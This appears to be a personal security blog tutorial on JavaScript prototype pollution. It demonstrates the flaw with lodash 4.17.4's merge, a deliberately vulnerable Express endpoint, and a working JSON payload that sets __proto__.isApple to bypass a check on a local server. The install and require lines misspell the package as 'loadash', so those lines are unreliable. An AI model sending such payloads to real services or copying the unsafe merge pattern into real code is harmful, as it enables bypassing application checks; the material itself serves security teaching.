Cyber stuff

Some random documents related to CTFs and cyber security

6 November 2020

Prototype Pollution

A brief overview on prototype pollution

What is a prototype

Javascript is a prototypal language this means that all objects within it have a prototype that is shared between objects of the same type. The prototype contains methods and properties that are useful for all objects of that type. This prototype is accesible from objects via the __proto__ property.

For example: Number.prototype contains the method toFixed which converts the number to a fixed string. All numbers have this method

(1).toFixed === (-10.5).toFixed // true

Modifying prototypes

Because prototypes are shared if you modify the prototype of an object all objects of the same type will have the new prototype.

For example if I wanted to add isNumber = true to all numbers I could use Number.prototype or the __proto__ of any number

Number.prototype.isNumber = true;
(1).isNumber // true
Infinity.isNumber // true
(10).__proto__.isNumber = true;
(10).isNumber // true
(-0xffff).isNumber // true
"10".isNumber // undefined

Notice how as "10" is a different type (String) it has a different prototype so isNumber is undefined.

Side note: root prototype

There is however a root prototype that is shared by most objects.

// Note there is varying depths of prototypes to reach protypes
// This depends on how many classes a class extends
(1).__proto__.__proto__.foo = 'bar';
(5).foo; // 'bar'
({}).foo; // 'bar'
"example".foo; // 'bar'

Prototype pollution

Prototype pollution is when a user’s input is able to modify a prototype hence allowing them control other other parts of the code.

JSON.parse

Javascript’s default JSON parse is not vulnerable to prototype pollution, if the user input contains a __proto__ property the reference to the actual prototype is replaced with a new object defined by the JSON. This is due to the way javascript works, if you completly overwrite the __proto__ property you are replacing the reference to the prototype of the object a new object instead of inserting a property to the global type prototype.

let obj = JSON.parse('{"__proto__":{"foo":"bar"}}');
console.log(obj); // {'__proto__':{'foo:'bar'}};
console.log(obj.foo); // undefined
console.log(obj.__proto__.foo); // 'bar'
console.log(({}).foo); // undefined

is the same as

let obj = {};
obj.__proto__ = {'foo':'bar'};
console.log(obj); // {'__proto__':{'foo:'bar'}};
console.log(obj.foo); // undefined
console.log(obj.__proto__.foo); // 'bar'
console.log(({}).foo); // undefined

Actual vulnerabilites

Because we cannot overwrite the __proto__ with a new object it is normally code that copies from user input that is vulnerable to prototype pollution. There are several libraries that have been vulnerable, I am going to use lodash version 4.17.4 as an example.

Lodash has a merge function that copies all the properties from object to another object recursively.

The problem with the vulnerable version is when it merges the objects it will insert objects into the recieving objects prototype if the other object has a __proto__ property.

The following code requires lodash to be installed (I recommend using nodejs, npm i loadash@4.17.4)

const _ = require('loadash'); // import lodash

// Create a object with __proto__ property that isn't actually a prototype
let obj = {};
obj.__proto__ = {'foo':'bar'};

let dest = {'bar':'foo'};
// Perform the merge
_.merge(dest, obj);

// When it performs the copy it finds the __proto__ property in obj (and is an object)
// it checks to see if __proto__ exists in dest
// as __proto__ refers to the global prototype object it copies the properties from
// obj.__proto__ to dest.__proto__ (into the global prototype)
// hence now Object.prototype.foo = 'bar'

// Now a pollution has been performed we can see the effects
console.log(dest.foo); // 'bar'
let newObj = {'what': 'a new object'};
console.log(newObj.foo); // 'bar'

// This is especially dangerous if the attacker can add a function, 
// or a property that gets evaluated unsafely later

Example

Example of passing a check on a vulnerable express web server

const express = require('express');
const _ = require('loadash');

const app = express();

app.use(express.json()); // Automatically JSON.parse uploaded data
app.post('/api/foo', (req, res) => {
  let data = _.merge({}, req.body); // Merge object with user content
  let checks = {};
  if (data.type === 'apple') { // If data.type is apple
    checks.isApple = true; // Set check to passed
  }
  // If check passed return a 200, else return a 400
  if (checks.isApple === true) return res.sendStatus(200);
  res.sendStatus(400);
});

app.listen(8000);

I am going to use fetch to send requests from the server but anything that can send HTTP post requests would work.

Normal user:

const res = await fetch('http://127.0.0.1:8000/api/foo', {
  method:'POST',
  headers:{'Content-Type':'application/json'},
  body: JSON.stringify({type: 'apple'}),
});
console.log(res.status); // 200
const res = await fetch('http://127.0.0.1:8000/api/foo', {
  method:'POST',
  headers:{'Content-Type':'application/json'},
  body: JSON.stringify({type: 'orange'}),
});
console.log(res.status); // 400

Using prototype pollution:

// Notes:
// I don't use JSON.stringify here as it would ignore any __proto__ properties
// Make sure what you send (body) is actually valid JSON otherwise server code won't be able to parse it
// Make sure you set the Header 'Content-Type' to 'application/json' otherwise the express json middleware won't parse the JSON
const res = await fetch('http://127.0.0.1:8000/api/foo', {
  method:'POST',
  headers:{'Content-Type':'application/json'},
  body: '{"type":"orange","__proto__":{"isApple":true}}',
});
console.log(res.status); // 200
tags: guides